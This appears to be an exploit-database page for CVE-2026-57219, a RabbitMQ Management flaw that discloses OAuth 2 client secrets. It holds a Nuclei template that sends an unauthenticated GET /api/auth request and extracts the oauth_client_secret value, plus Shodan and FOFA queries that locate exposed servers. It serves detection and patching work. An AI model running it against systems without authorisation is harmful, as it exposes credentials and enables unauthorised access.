Materialized exploit

CVE-2026-57219

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

Nuclei high Verified

Source

RabbitMQ Management - OAuth 2 Client Secret Disclosure

By projectdiscovery

How to test this exploit

The Nuclei template IS the test: an executable detection rule. Install nuclei, then run it against a target you control.

nuclei -id CVE-2026-57219 -u https://your-target

Template yaml

id: CVE-2026-57219

info:
  name: RabbitMQ Management - OAuth 2 Client Secret Disclosure
  author: aryu-ru
  severity: high
  description: |
    RabbitMQ < 3.13.15, 4.0.20, 4.1.11, and 4.2.6 contains an information disclosure caused by the obsolete GET /api/auth endpoint exposing OAuth 2 client secrets when management.oauth_client_secret is configured, letting unauthenticated attackers access sensitive credentials, exploit requires management plugin and OAuth configuration enabled.
  impact: |
    Unauthenticated attackers can access OAuth 2 client secrets, leading to credential exposure and potential unauthorized access.
  remediation: |
    Update to versions 3.13.15, 4.0.20, 4.1.11, or 4.2.6 or later.
  reference:
    - https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-pj24-8j6m-vq9q
    - https://github.com/rabbitmq/rabbitmq-server/commit/98b1daf740237c85941e8addcbea6e74f4a2743c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-57219
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-57219
    epss-score: 0.01988
    epss-percentile: 0.79206
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 1
    vendor: broadcom
    product: rabbitmq_server
    shodan-query: http.title:"RabbitMQ Management"
    fofa-query: title="RabbitMQ Management"
  tags: cve,cve2026,rabbitmq,broadcom,oauth,exposure,unauth

http:
  - raw:
      - |
        GET /api/auth HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
          - contains_all(body, "oauth_enabled", "oauth_client_secret")
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - '.oauth_client_secret'
# digest: 490a0046304402206a1724c3db8161d8b734cdc76fa823d0c1f7049776b664e34cf4631512a468f802202c3aeb7661a7e4f86051f19b45cb8400002263df393e129af4bc242710bd861f:922c64590222798bb761d5b6d8e72950